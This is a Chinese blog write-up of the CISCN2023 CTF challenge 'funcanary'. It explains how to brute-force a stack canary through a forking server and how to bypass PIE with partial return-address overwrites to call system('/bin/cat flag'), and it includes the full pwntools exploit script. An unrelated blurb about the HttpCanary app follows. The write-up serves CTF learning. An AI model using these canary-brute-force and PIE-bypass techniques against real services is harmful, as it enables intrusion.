funcanary[CISCN2023初赛]-爆破canary+pie

一、保护检查

先检查文件的保护以及文件的类型,保护全开,64位程序。通过题目大概也知道想考察的内容是canary保护绕过或者canary泄露

image-20230528161143845

二、IDA分析

首当其冲的是main函数,发现main函数中存在fork()函数(这个函数相当重要且有用)。通过观察main函数的基础结构可以发现,该程序会不断的fork进程。

image-20230528161359351

进入sub_128A()函数中,发现只有一个read读取数据,但是该read读取数据存在栈溢出。

image-20230528161505029

结合上述两个函数,基本可以确定该程序的功能。

即,每次读取0x80字节的字符串,然后重新fork出子进程。根据这个特性,我们可以通过不断的试错爆破出canary值。

由于该程序开启了PIE保护,所以想要通过构造rop链来getshell还是比较困难的,先查看程序中是否存在可用函数。

image-20230528162046717

根据“字符”查找到特殊的字符串“/bin/cat flag”,所以可能存在直接的system(“/bin/cat flag”)函数,通过追踪定位,发现确实存在相应函数。

image-20230528162215625

根据这些获得的信息,可以基本的了解到应该如何编写脚本exp了。

三、exp编写

首先是canary的爆破,详细的canary爆破教程请参考(59条消息) Canary学习(爆破Canary)_baopo canary_西杭的博客-CSDN博客

只不过本次的程序为64位程序,需要再此基础之上做出一些修改,爆破代码如下:

canary = b'\x00'
for k in range(7):
    for i in range(256):
        print("the " + str(k) + ": " + str(i.to_bytes(1,'little')))
        s(b'a'*0x68 + canary + i.to_bytes(1,'little'))
        a = ru(b"welcome\n")
        print(a)
        if b'fun' in a:
                canary += i.to_bytes(1,'little')
                print("canary: " + str(canary))
                break

再爆破出canary后,即为覆盖返回地址到相应的函数上,由于本次的程序开启了PIE保护,所以不能直接修改返回地址。

根据PIE的保护的特性我们可以知道(请先进行PIE保护的相关学习),地址的后3位是不变的,所以只需要的原先返回地址的基础之上将返回地址的后三位覆盖位system(“/bin/cat flag”)函数调用的地址即可,即为修改为“0x231”(该地址只需要在IDA看偏移地址即可),

由于一次一个地址的进行爆破canary再尝试爆破PIE太过浪费时间,所以我们直接一次性发送16个不同地址的payload,保证肯定存在其中一个payload能够执行system(“/bin/cat flag”)函数,从而获得flag。

s(b'a'*0x68 + canary + b'b'*0x8 + b'\x31\x02')
ru(b'welcome\n')
s(b'a'*0x68 + canary + b'b'*0x8 + b'\x31\x12')
ru(b'welcome\n')
s(b'a'*0x68 + canary + b'b'*0x8 + b'\x31\x22')
ru(b'welcome\n')
s(b'a'*0x68 + canary + b'b'*0x8 + b'\x31\x32')
ru(b'welcome\n')
s(b'a'*0x68 + canary + b'b'*0x8 + b'\x31\x42')
ru(b'welcome\n')
s(b'a'*0x68 + canary + b'b'*0x8 + b'\x31\x52')
ru(b'welcome\n')
s(b'a'*0x68 + canary + b'b'*0x8 + b'\x31\x62')
ru(b'welcome\n')
s(b'a'*0x68 + canary + b'b'*0x8 + b'\x31\x72')
ru(b'welcome\n')
s(b'a'*0x68 + canary + b'b'*0x8 + b'\x31\x82')
ru(b'welcome\n')
s(b'a'*0x68 + canary + b'b'*0x8 + b'\x31\x92')
ru(b'welcome\n')
s(b'a'*0x68 + canary + b'b'*0x8 + b'\x31\xa2')
ru(b'welcome\n')
s(b'a'*0x68 + canary + b'b'*0x8 + b'\x31\xb2')
ru(b'welcome\n')
s(b'a'*0x68 + canary + b'b'*0x8 + b'\x31\xc2')
ru(b'welcome\n')
s(b'a'*0x68 + canary + b'b'*0x8 + b'\x31\xd2')
ru(b'welcome\n')
s(b'a'*0x68 + canary + b'b'*0x8 + b'\x31\xe2')
ru(b'welcome\n')
s(b'a'*0x68 + canary + b'b'*0x8 + b'\x31\xf2')
ru(b'welcome\n')

四、exp

在本地测试的话,请在当前文件夹中建立一个flag文件,并在里边写下flag的内容。

#!/usr/bin/env python3
# Date: 2023-05-28 09:45:41

from pwn import *

context.terminal = ['tmux', 'splitw', '-h']
context.binary = './funcanary'
context.log_level = 'debug'
context.timeout = 5

io = process('./funcanary')
# io = remote('39.106.48.123', 36148)
elf = ELF('./funcanary')


def debug(gdbscript="", stop=False):
    if isinstance(io, process):
        gdb.attach(io, gdbscript=gdbscript)
        if stop:
            pause()

stop = pause
S = pause
leak = lambda name, address: log.info("{} ===> {}".format(name, hex(address)))
s   = io.send
sl  = io.sendline
sla = io.sendlineafter
sa  = io.sendafter
slt = io.sendlinethen
st  = io.sendthen
r   = io.recv
rn  = io.recvn
rr  = io.recvregex
ru  = io.recvuntil
ra  = io.recvall
rl  = io.recvline
rs  = io.recvlines
rls = io.recvline_startswith
rle = io.recvline_endswith
rlc = io.recvline_contains
ia  = io.interactive
ic  = io.close
cr  = io.can_recv

# 0x0000000000001229 system("cat flag")
# syscall_vgettimeofday = 0xffffffffff600000
a = ru(b'welcome\n')
# print(a)
# if b'wel' in a:
#      print(1)
canary = b'\x00'
for k in range(7):
    for i in range(256):
        print("the " + str(k) + ": " + str(i.to_bytes(1,'little')))
        s(b'a'*0x68 + canary + i.to_bytes(1,'little'))
        a = ru(b"welcome\n")
        print(a)
        if b'fun' in a:
                canary += i.to_bytes(1,'little')
                print("canary: " + str(canary))
                break
# debug("", True)

s(b'a'*0x68 + canary + b'b'*0x8 + b'\x31\x02')
ru(b'welcome\n')
s(b'a'*0x68 + canary + b'b'*0x8 + b'\x31\x12')
ru(b'welcome\n')
s(b'a'*0x68 + canary + b'b'*0x8 + b'\x31\x22')
ru(b'welcome\n')
s(b'a'*0x68 + canary + b'b'*0x8 + b'\x31\x32')
ru(b'welcome\n')
s(b'a'*0x68 + canary + b'b'*0x8 + b'\x31\x42')
ru(b'welcome\n')
s(b'a'*0x68 + canary + b'b'*0x8 + b'\x31\x52')
ru(b'welcome\n')
s(b'a'*0x68 + canary + b'b'*0x8 + b'\x31\x62')
ru(b'welcome\n')
s(b'a'*0x68 + canary + b'b'*0x8 + b'\x31\x72')
ru(b'welcome\n')
s(b'a'*0x68 + canary + b'b'*0x8 + b'\x31\x82')
ru(b'welcome\n')
s(b'a'*0x68 + canary + b'b'*0x8 + b'\x31\x92')
ru(b'welcome\n')
s(b'a'*0x68 + canary + b'b'*0x8 + b'\x31\xa2')
ru(b'welcome\n')
s(b'a'*0x68 + canary + b'b'*0x8 + b'\x31\xb2')
ru(b'welcome\n')
s(b'a'*0x68 + canary + b'b'*0x8 + b'\x31\xc2')
ru(b'welcome\n')
s(b'a'*0x68 + canary + b'b'*0x8 + b'\x31\xd2')
ru(b'welcome\n')
s(b'a'*0x68 + canary + b'b'*0x8 + b'\x31\xe2')
ru(b'welcome\n')
s(b'a'*0x68 + canary + b'b'*0x8 + b'\x31\xf2')
ru(b'welcome\n')

ia()

image-20230528165149649

  • 0
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
HttpCanary是一款功能强大的Android抓包工具,它可以帮助用户在移动设备上进行网络数据嗅探和监测。HttpCanary可以捕捉手机上所有的网络请求和响应数据,包括浏览器、应用程序以及其他与网络通信相关的操作,同时还支持抓取视频和直播源。 通过HttpCanary,用户可以轻松地监测并分析手机上的网络数据流量,包括HTTP、HTTPS、TCP、UDP等协议的请求和响应信息。它提供了丰富的功能,如抓包、过滤、修改数据、重放请求等,允许用户深入分析和调试移动应用的网络通信过程。 最重要的是,HttpCanary还具有抓取视频和直播源的特性。这意味着用户可以利用HttpCanary工具来捕获手机上播放的视频或直播源的数据包,以便进一步分析和研究。 通过抓取视频和直播源,用户可以了解视频播放的具体过程、网络传输速度、内容质量等信息,以便进行优化和改进。例如,用户可以发现视频加载过慢的原因,优化网络请求以提高视频加载速度,或者分析直播源的质量问题,从而提升用户观看体验。 总而言之,HttpCanary是一款强大的Android抓包工具,不仅可以帮助用户监测和分析手机上的网络数据流量,还支持抓取视频和直播源,为用户提供了更丰富的调试和优化手段。无论是网络开发人员、应用程序测试人员还是对网络数据感兴趣的普通用户,HttpCanary都是一款值得尝试的工具。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值